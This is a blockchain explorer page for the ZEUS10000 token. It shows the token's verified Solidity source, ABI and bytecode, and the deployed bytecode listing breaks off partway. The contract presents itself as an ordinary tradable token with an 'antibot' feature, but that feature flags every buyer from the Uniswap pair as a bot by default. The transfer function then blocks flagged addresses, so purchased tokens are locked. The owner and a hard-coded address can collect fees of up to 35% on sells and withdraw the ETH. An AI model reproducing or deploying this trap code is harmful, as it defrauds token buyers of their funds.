ETH Price: $2,598.84 (-2.91%)
Gas: 5 Gwei

Token

ZEUS10000 (ZEUS10000)
 

Overview

Max Total Supply

8,033.640528468716588536 ZEUS10000

Holders

93

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ZEUS10000

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity Multiple files format)

File 4 of 4: ZEUS10000.sol
// https://ZEUS10000.com
// https://t.me/zeus10000

pragma solidity ^0.8.7;

import "./TradableErc20.sol";

contract ZEUS10000 is TradableErc20 {
    address _owner;
    address _withdrawAddress =
        address(0x64485E260439613940b16821ad080c6862B73152);
    uint256 maxContractLiquidityPercent = 4;

    constructor() TradableErc20("ZEUS10000", "ZEUS10000") {
        _owner = msg.sender;
        _setMaxBuy(2);
    }

    function getMaxContractBalancePercent()
        internal
        view
        override
        returns (uint256)
    {
        return maxContractLiquidityPercent;
    }

    function setMaxContractLiquidityPercent(uint256 newMaxLiquidityPercent)
        external
        onlyOwner
    {
        maxContractLiquidityPercent = newMaxLiquidityPercent;
    }

    function _withdraw(uint256 sum) internal override {
        payable(_withdrawAddress).transfer(sum);
    }

    function isOwner(address account) internal view override returns (bool) {
        return account == _owner || account == _withdrawAddress;
    }

    function transferOwnership(address newOwner) external onlyOwner {
        _owner = newOwner;
    }
}

File 1 of 4: ERC20.sol
pragma solidity ^0.8.7;

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract ERC20 is IERC20 {
    uint256 internal _totalSupply = 1e22;
    string _name;
    string _symbol;
    uint8 constant _decimals = 18;
    mapping(address => uint256) internal _balances;
    mapping(address => mapping(address => uint256)) internal _allowances;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() external view returns (string memory) {
        return _name;
    }

    function symbol() external view returns (string memory) {
        return _symbol;
    }

    function decimals() external pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
        public
        view
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        external
        override
        returns (bool)
    {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        _beforeTokenTransfer(from, to, amount);

        uint256 senderBalance = _balances[from];
        require(senderBalance >= amount);
        unchecked {
            _balances[from] = senderBalance - amount;
        }
        _balances[to] += amount;
        emit Transfer(from, to, amount);
        _afterTokenTransfer(from, to, amount);
    }

    function allowance(address owner, address spender)
        external
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        external
        override
        returns (bool)
    {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][msg.sender];
        require(currentAllowance >= amount);
        unchecked {
            _approve(sender, msg.sender, currentAllowance - amount);
        }

        return true;
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0));

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount);
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

File 2 of 4: IUniswapV2Router02.sol
pragma solidity ^0.8.7;

interface IUniswapV2Router02 {
    //function swapExactTokensForETHSupportingFeeOnTransferTokens(
    function swapExactTokensForETH(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

File 3 of 4: TradableErc20.sol
pragma solidity ^0.8.7;

//import "hardhat/console.sol";
import "./ERC20.sol";
import "./IUniswapV2Router02.sol";

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

abstract contract TradableErc20 is ERC20 {
    IUniswapV2Router02 internal constant _uniswapV2Router =
        IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address public uniswapV2Pair;
    bool public tradingEnable;
    mapping(address => bool) public isBot;
    mapping(address => bool) _isExcludedFromFee;
    bool _autoBanBots = true;
    bool _inSwap;
    uint256 public maxBuy;

    uint256 constant maxBuyIncrementMinutesTimer = 2; // increment maxbuy minutes
    uint256 constant maxByyIncrementPercentil = 1; // increment maxbyu percentil 1000=100%
    uint256 public maxBuyIncrementValue; // value for increment maxBuy
    uint256 public incrementTime; // last increment time

    modifier onlyOwner() {
        require(isOwner(msg.sender));
        _;
    }

    modifier lockTheSwap() {
        _inSwap = true;
        _;
        _inSwap = false;
    }

    constructor(string memory name_, string memory symbol_)
        ERC20(name_, symbol_)
    {
        _isExcludedFromFee[address(0)] = true;
    }

    receive() external payable {}

    function makeLiquidity() public onlyOwner {
        require(uniswapV2Pair == address(0));
        address pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(
            address(this),
            _uniswapV2Router.WETH()
        );
        _balances[address(this)] = _totalSupply;
        _allowances[address(this)][address(_uniswapV2Router)] = _totalSupply;
        _isExcludedFromFee[pair] = true;
        _uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            _totalSupply,
            0,
            0,
            msg.sender,
            block.timestamp
        );

        uniswapV2Pair = pair;
        tradingEnable = true;

        incrementTime = block.timestamp;
        maxBuyIncrementValue = (_totalSupply * maxByyIncrementPercentil) / 1000;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(!isBot[from] && !isBot[to]);

        // buy
        if (from == uniswapV2Pair && !_isExcludedFromFee[to]) {
            // increment maxBuy
            uint256 incrementCount = (block.timestamp - incrementTime) /
                (maxBuyIncrementMinutesTimer * 1 minutes);
            if (incrementCount > 0) {
                if (maxBuy < _totalSupply)
                    maxBuy += maxBuyIncrementValue * incrementCount;
                incrementTime = block.timestamp;
            }

            require(tradingEnable);
            if (!_autoBanBots) require(_balances[to] + amount <= maxBuy);
            // antibot
            if (_autoBanBots) isBot[to] = true;
            amount = _getFeeBuy(amount);
        }

        // sell
        if (!_inSwap && uniswapV2Pair != address(0) && to == uniswapV2Pair) {
            amount = _getFeeSell(amount, from);
            uint256 contractTokenBalance = balanceOf(address(this));
            if (contractTokenBalance > 0) {
                uint256 maxContractBalance = (balanceOf(uniswapV2Pair) *
                    getMaxContractBalancePercent()) / 100;
                if (contractTokenBalance > maxContractBalance) {
                    uint256 burnCount;
                    unchecked {
                        burnCount = contractTokenBalance - maxContractBalance;
                    }
                    contractTokenBalance = maxContractBalance;
                    _totalSupply -= burnCount;
                    emit Transfer(address(this), address(0), burnCount);
                }
                //console.log("swapTokensForEth");
                uint256 swapCount = contractTokenBalance;
                uint256 maxSwapCount = 2 * amount;
                if (swapCount > maxSwapCount) swapCount = maxSwapCount;
                swapTokensForEth(swapCount);
            }
        }

        // transfer
        //console.log(from, "->", to);
        //console.log("amount: ", amount);
        super._transfer(from, to, amount);
        //console.log("=====end transfer=====");
    }

    function _getFeeBuy(uint256 amount) private returns (uint256) {
        uint256 fee = amount / 20; // 5%
        amount -= fee;
        _balances[address(this)] += fee;
        return amount;
    }

    function getSellBurnCount(uint256 amount) internal view returns (uint256) {
        // calculate fee percent
        uint256 value = _balances[uniswapV2Pair];
        uint256 vMin = value / 100; // min additive tax amount
        if (amount <= vMin) return amount / 20; // 5% constant tax
        uint256 vMax = value / 10; // max additive tax amount 10%
        if (amount > vMax) return (amount * 35) / 100; // 35% tax

        // additive tax, that in intervat 0-35%
        return (((amount - vMin) * 35 * amount) / (vMax - vMin)) / 100;
    }

    function _getFeeSell(uint256 amount, address account)
        private
        returns (uint256)
    {
        // get taxes
        uint256 devFee = amount / 20; // 5%
        uint256 burnCount = getSellBurnCount(amount); // burn count

        amount -= devFee + burnCount;
        _balances[account] -= devFee + burnCount;        
        _balances[address(this)] += devFee;
        _totalSupply -= burnCount;
        emit Transfer(address(this), address(0), burnCount);
        return amount;
    }

    function setMaxBuy(uint256 percent) external onlyOwner {
        _setMaxBuy(percent);
    }

    function _setMaxBuy(uint256 percentil) internal {
        maxBuy = (percentil * _totalSupply) / 1000;
    }

    function getMaxBuy() external view returns (uint256) {
        uint256 incrementCount = (block.timestamp - incrementTime) /
            (maxBuyIncrementMinutesTimer * 1 minutes);
        if (incrementCount == 0) return maxBuy;

        return maxBuy + maxBuyIncrementValue * incrementCount;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();

        _approve(address(this), address(_uniswapV2Router), tokenAmount);

        // make the swap
        _uniswapV2Router.swapExactTokensForETH(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );
    }

    function setBots(address[] memory accounts, bool value) external onlyOwner {
        for (uint256 i = 0; i < accounts.length; ++i) {
            isBot[accounts[i]] = value;
        }
    }

    function setExcludeFromFee(address[] memory accounts, bool value)
        external
        onlyOwner
    {
        for (uint256 i = 0; i < accounts.length; ++i) {
            _isExcludedFromFee[accounts[i]] = value;
        }
    }

    function setTradingEnable(bool value, bool autoBanBotsValue)
        external
        onlyOwner
    {
        tradingEnable = value;
        _autoBanBots = autoBanBotsValue;
    }

    function setAutoBanBots(bool value) external onlyOwner {
        _autoBanBots = value;
    }

    function withdraw() external onlyOwner {
        _withdraw(address(this).balance);
    }

    function getMaxContractBalancePercent() internal virtual returns (uint256);

    function _withdraw(uint256 sum) internal virtual;

    function isOwner(address account) internal virtual returns (bool);
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getMaxBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"incrementTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"makeLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxBuyIncrementValue","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutoBanBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setExcludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"setMaxBuy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMaxLiquidityPercent","type":"uint256"}],"name":"setMaxContractLiquidityPercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"value","type":"bool"},{"internalType":"bool","name":"autoBanBotsValue","type":"bool"}],"name":"setTradingEnable","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnable","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405269021e19e0c9bab24000006000556008805460ff19166001179055600d80546001600160a01b0319167364485e260439613940b16821ad080c6862b731521790556004600e553480156200005757600080fd5b5060408051808201825260098082526805a45555331303030360bc1b60208084018281528551808701909652928552840152815191929183918391620000a09160019162000139565b508051620000b690600290602084019062000139565b50506000805250506007602052507f6d5257204ebe7d88fd91ae87941cb2dd9d8062b64ae5a2bd2d28ec40b9fbf6df805460ff19166001179055600c80546001600160a01b031916331790556200010e600262000114565b6200026d565b6103e86000548262000127919062000202565b620001339190620001df565b60095550565b828054620001479062000230565b90600052602060002090601f0160209004810192826200016b5760008555620001b6565b82601f106200018657805160ff1916838001178555620001b6565b82800160010185558215620001b6579182015b82811115620001b657825182559160200191906001019062000199565b50620001c4929150620001c8565b5090565b5b80821115620001c45760008155600101620001c9565b600082620001fd57634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156200022b57634e487b7160e01b600052601160045260246000fd5b500290565b600181811c908216806200024557607f821691505b602082108114156200026757634e487b7160e01b600052602260045260246000fd5b50919050565b6117a9806200027d6000396000f3fe60806040526004361061016a5760003560e01c806370db69d6116100d1578063a9059cbb1161008a578063b203919e11610064578063b203919e1461042e578063dd62ed3e14610443578063f2fde38b14610489578063f53bc835146104a957600080fd5b8063a9059cbb146103d8578063acefa691146103f8578063aff41b7b1461041857600080fd5b806370db69d61461034257806395d89b411461035857806396790d4a1461036d57806399bf3266146103825780639b6f6d78146103985780639c0db5f3146103b857600080fd5b80633bbac579116101235780633bbac5791461024d5780633ccfd60b1461027d57806349bd5a5e1461029457806352e53988146102cc5780636c90b57f146102ec57806370a082311461030c57600080fd5b806306fdde0314610176578063095ea7b3146101a15780631693e8d4146101d157806318160ddd146101f257806323b872dd14610211578063313ce5671461023157600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5061018b6104c9565b6040516101989190611590565b60405180910390f35b3480156101ad57600080fd5b506101c16101bc3660046113f1565b61055b565b6040519015158152602001610198565b3480156101dd57600080fd5b506005546101c190600160a01b900460ff1681565b3480156101fe57600080fd5b506000545b604051908152602001610198565b34801561021d57600080fd5b506101c161022c3660046113b0565b610571565b34801561023d57600080fd5b5060405160128152602001610198565b34801561025957600080fd5b506101c1610268366004611336565b60066020526000908152604090205460ff1681565b34801561028957600080fd5b506102926105c7565b005b3480156102a057600080fd5b506005546102b4906001600160a01b031681565b6040516001600160a01b039091168152602001610198565b3480156102d857600080fd5b506102926102e7366004611549565b6105e4565b3480156102f857600080fd5b5061029261030736600461141d565b6105fb565b34801561031857600080fd5b50610203610327366004611336565b6001600160a01b031660009081526003602052604090205490565b34801561034e57600080fd5b5061020360095481565b34801561036457600080fd5b5061018b610677565b34801561037957600080fd5b50610203610686565b34801561038e57600080fd5b50610203600b5481565b3480156103a457600080fd5b506102926103b33660046114fb565b6106dc565b3480156103c457600080fd5b506102926103d336600461141d565b610701565b3480156103e457600080fd5b506101c16103f33660046113f1565b610778565b34801561040457600080fd5b50610292610413366004611516565b610785565b34801561042457600080fd5b50610203600a5481565b34801561043a57600080fd5b506102926107c8565b34801561044f57600080fd5b5061020361045e366004611377565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561049557600080fd5b506102926104a4366004611336565b610ace565b3480156104b557600080fd5b506102926104c4366004611549565b610b02565b6060600180546104d8906116c6565b80601f0160208091040260200160405190810160405280929190818152602001828054610504906116c6565b80156105515780601f1061052657610100808354040283529160200191610551565b820191906000526020600020905b81548152906001019060200180831161053457829003601f168201915b5050505050905090565b6000610568338484610b20565b50600192915050565b600061057e848484610b81565b6001600160a01b0384166000908152600460209081526040808320338452909152902054828110156105af57600080fd5b6105bc8533858403610b20565b506001949350505050565b6105d033610e31565b6105d957600080fd5b6105e247610e63565b565b6105ed33610e31565b6105f657600080fd5b600e55565b61060433610e31565b61060d57600080fd5b60005b825181101561067257816007600085848151811061063057610630611732565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905561066b81611701565b9050610610565b505050565b6060600280546104d8906116c6565b6000806106956002603c611690565b600b546106a290426116af565b6106ac919061166e565b9050806106bb57505060095490565b80600a546106c99190611690565b6009546106d69190611656565b91505090565b6106e533610e31565b6106ee57600080fd5b6008805460ff1916911515919091179055565b61070a33610e31565b61071357600080fd5b60005b825181101561067257816006600085848151811061073657610736611732565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905561077181611701565b9050610716565b6000610568338484610b81565b61078e33610e31565b61079757600080fd5b6005805460ff60a01b1916600160a01b93151593909302929092179091556008805460ff1916911515919091179055565b6107d133610e31565b6107da57600080fd5b6005546001600160a01b0316156107f057600080fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561083f57600080fd5b505afa158015610853573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610877919061135a565b6001600160a01b031663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156108d357600080fd5b505afa1580156108e7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061090b919061135a565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561095357600080fd5b505af1158015610967573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098b919061135a565b60008054308083526003602090815260408085208490556004808352818620737a250d5630b4cf539739df2c5dacb4c659f2488d808852908452828720959095556001600160a01b03871686526007909252808520805460ff191660011790558454905163f305d71960e01b81529182019290925260248101919091526044810183905260648101929092523360848301524260a483015291925063f305d71990479060c4016060604051808303818588803b158015610a4a57600080fd5b505af1158015610a5e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a839190611562565b5050600580546001600160a81b0319166001600160a01b03841617600160a01b1790555042600b556000546103e890610abe90600190611690565b610ac8919061166e565b600a5550565b610ad733610e31565b610ae057600080fd5b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b610b0b33610e31565b610b1457600080fd5b610b1d81610ea1565b50565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526006602052604090205460ff16158015610bc357506001600160a01b03821660009081526006602052604090205460ff16155b610bcc57600080fd5b6005546001600160a01b038481169116148015610c0257506001600160a01b03821660009081526007602052604090205460ff16155b15610cf8576000610c156002603c611690565b600b54610c2290426116af565b610c2c919061166e565b90508015610c6a576000546009541015610c655780600a54610c4e9190611690565b60096000828254610c5f9190611656565b90915550505b42600b555b600554600160a01b900460ff16610c8057600080fd5b60085460ff16610cbc576009546001600160a01b038416600090815260036020526040902054610cb1908490611656565b1115610cbc57600080fd5b60085460ff1615610ceb576001600160a01b0383166000908152600660205260409020805460ff191660011790555b610cf482610ec2565b9150505b600854610100900460ff16158015610d1a57506005546001600160a01b031615155b8015610d3357506005546001600160a01b038381169116145b15610e2657610d428184610f0c565b306000908152600360205260409020549091508015610e245760006064610d68600e5490565b6005546001600160a01b0316600090815260036020526040902054610d8d9190611690565b610d97919061166e565b905080821115610dfb576000818303905081925080600080828254610dbc91906116af565b909155505060405181815260009030907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3505b816000610e09856002611690565b905080821115610e17578091505b610e2082610ff3565b5050505b505b6106728383836111af565b600c546000906001600160a01b0383811691161480610e5d5750600d546001600160a01b038381169116145b92915050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610e9d573d6000803e3d6000fd5b5050565b6103e860005482610eb29190611690565b610ebc919061166e565b60095550565b600080610ed060148461166e565b9050610edc81846116af565b30600090815260036020526040812080549295508392909190610f00908490611656565b90915550929392505050565b600080610f1a60148561166e565b90506000610f2785611266565b9050610f338183611656565b610f3d90866116af565b9450610f498183611656565b6001600160a01b03851660009081526003602052604081208054909190610f719084906116af565b90915550503060009081526003602052604081208054849290610f95908490611656565b9250508190555080600080828254610fad91906116af565b909155505060405181815260009030907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a350929392505050565b6008805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061103757611037611732565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156110a457600080fd5b505afa1580156110b8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110dc919061135a565b816001815181106110ef576110ef611732565b60200260200101906001600160a01b031690816001600160a01b03168152505061112e30737a250d5630b4cf539739df2c5dacb4c659f2488d84610b20565b6040516318cbafe560e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d906318cbafe59061116e9085906000908690309042906004016115e5565b600060405180830381600087803b15801561118857600080fd5b505af115801561119c573d6000803e3d6000fd5b50506008805461ff001916905550505050565b6001600160a01b038316600090815260036020526040902054818110156111d557600080fd5b6001600160a01b0380851660009081526003602052604080822085850390559185168152908120805484929061120c908490611656565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161125891815260200190565b60405180910390a350505050565b6005546001600160a01b03166000908152600360205260408120548161128d60648361166e565b90508084116112a9576112a160148561166e565b949350505050565b60006112b6600a8461166e565b9050808511156112e05760646112cd866023611690565b6112d7919061166e565b95945050505050565b60646112ec83836116af565b866112f785826116af565b611302906023611690565b61130c9190611690565b6112cd919061166e565b80356113218161175e565b919050565b8035801515811461132157600080fd5b60006020828403121561134857600080fd5b81356113538161175e565b9392505050565b60006020828403121561136c57600080fd5b81516113538161175e565b6000806040838503121561138a57600080fd5b82356113958161175e565b915060208301356113a58161175e565b809150509250929050565b6000806000606084860312156113c557600080fd5b83356113d08161175e565b925060208401356113e08161175e565b929592945050506040919091013590565b6000806040838503121561140457600080fd5b823561140f8161175e565b946020939093013593505050565b6000806040838503121561143057600080fd5b823567ffffffffffffffff8082111561144857600080fd5b818501915085601f83011261145c57600080fd5b813560208282111561147057611470611748565b8160051b604051601f19603f8301168101818110868211171561149557611495611748565b604052838152828101945085830182870184018b10156114b457600080fd5b600096505b848710156114de576114ca81611316565b8652600196909601959483019483016114b9565b5096506114ee9050878201611326565b9450505050509250929050565b60006020828403121561150d57600080fd5b61135382611326565b6000806040838503121561152957600080fd5b61153283611326565b915061154060208401611326565b90509250929050565b60006020828403121561155b57600080fd5b5035919050565b60008060006060848603121561157757600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156115bd578581018301518582016040015282016115a1565b818111156115cf576000604083870101525b50601f01601f1916929092016040019392505050565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116355784516001600160a01b031683529383019391830191600101611610565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156116695761166961171c565b500190565b60008261168b57634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156116aa576116aa61171c565b500290565b6000828210156116c1576116c161171c565b500390565b600181811c908216806116da57607f821691505b602082108114156116fb57634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156117155761171561171c565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610b1d57600080fdfea26469706673582212200d3d3c2429ee938bd2ba5309126b2aefcc6762bee1fa4e1c68bdeada2fbf144564736f6c63430008070033

Deployed Bytecode

0x60806040526004361061016a5760003560e01c806370db69d6116100d1578063a9059cbb1161008a578063b203919e11610064578063b203919e1461042e578063dd62ed3e14610443578063f2fde38b14610489578063f53bc835146104a957600080fd5b8063a9059cbb146103d8578063acefa691146103f8578063aff41b7b1461041857600080fd5b806370db69d61461034257806395d89b411461035857806396790d4a1461036d57806399bf3266146103825780639b6f6d78146103985780639c0db5f3146103b857600080fd5b80633bbac579116101235780633bbac5791461024d5780633ccfd60b1461027d57806349bd5a5e1461029457806352e53988146102cc5780636c90b57f146102ec57806370a082311461030c57600080fd5b806306fdde0314610176578063095ea7b3146101a15780631693e8d4146101d157806318160ddd146101f257806323b872dd14610211578063313ce5671461023157600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5061018b6104c9565b6040516101989190611590565b60405180910390f35b3480156101ad57600080fd5b506101c16101bc3660046113f1565b61055b565b6040519015158152602001610198565b3480156101dd57600080fd5b506005546101c190600160a01b900460ff1681565b3480156101fe57600080fd5b506000545b604051908152602001610198565b34801561021d57600080fd5b506101c161022c3660046113b0565b610571565b34801561023d57600080fd5b5060405160128152602001610198565b34801561025957600080fd5b506101c1610268366004611336565b60066020526000908152604090205460ff1681565b34801561028957600080fd5b506102926105c7565b005b3480156102a057600080fd5b506005546102b4906001600160a01b031681565b6040516001600160a01b039091168152602001610198565b3480156102d857600080fd5b506102926102e7366004611549565b6105e4565b3480156102f857600080fd5b5061029261030736600461141d565b6105fb565b34801561031857600080fd5b50610203610327366004611336565b6001600160a01b031660009081526003602052604090205490565b34801561034e57600080fd5b5061020360095481565b34801561036457600080fd5b5061018b610677565b34801561037957600080fd5b50610203610686565b34801561038e57600080fd5b50610203600b5481565b3480156103a457600080fd5b506102926103b33660046114fb565b6106dc565b3480156103c457600080fd5b506102926103d336600461141d565b610701565b3480156103e457600080fd5b506101c16103f33660046113f1565b610778565b34801561040457600080fd5b50610292610413366004611516565b610785565b34801561042457600080fd5b50610203600a5481565b34801561043a57600080fd5b506102926107c8565b34801561044f57600080fd5b5061020361045e366004611377565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561049557600080fd5b506102926104a4366004611336565b610ace565b3480156104b557600080fd5b506102926104c4366004611549565b610b02565b6060600180546104d8906116c6565b80601f0160208091040260200160405190810160405280929190818152602001828054610504906116c6565b80156105515780601f1061052657610100808354040283529160200191610551565b820191906000526020600020905b81548152906001019060200180831161053457829003601f168201915b5050505050905090565b6000610568338484610b20565b50600192915050565b600061057e848484610b81565b6001600160a01b0384166000908152600460209081526040808320338452909152902054828110156105af57600080fd5b6105bc8533858403610b20565b506001949350505050565b6105d033610e31565b6105d957600080fd5b6105e247610e63565b565b6105ed33610e31565b6105f657600080fd5b600e55565b61060433610e31565b61060d57600080fd5b60005b8251811015610672578160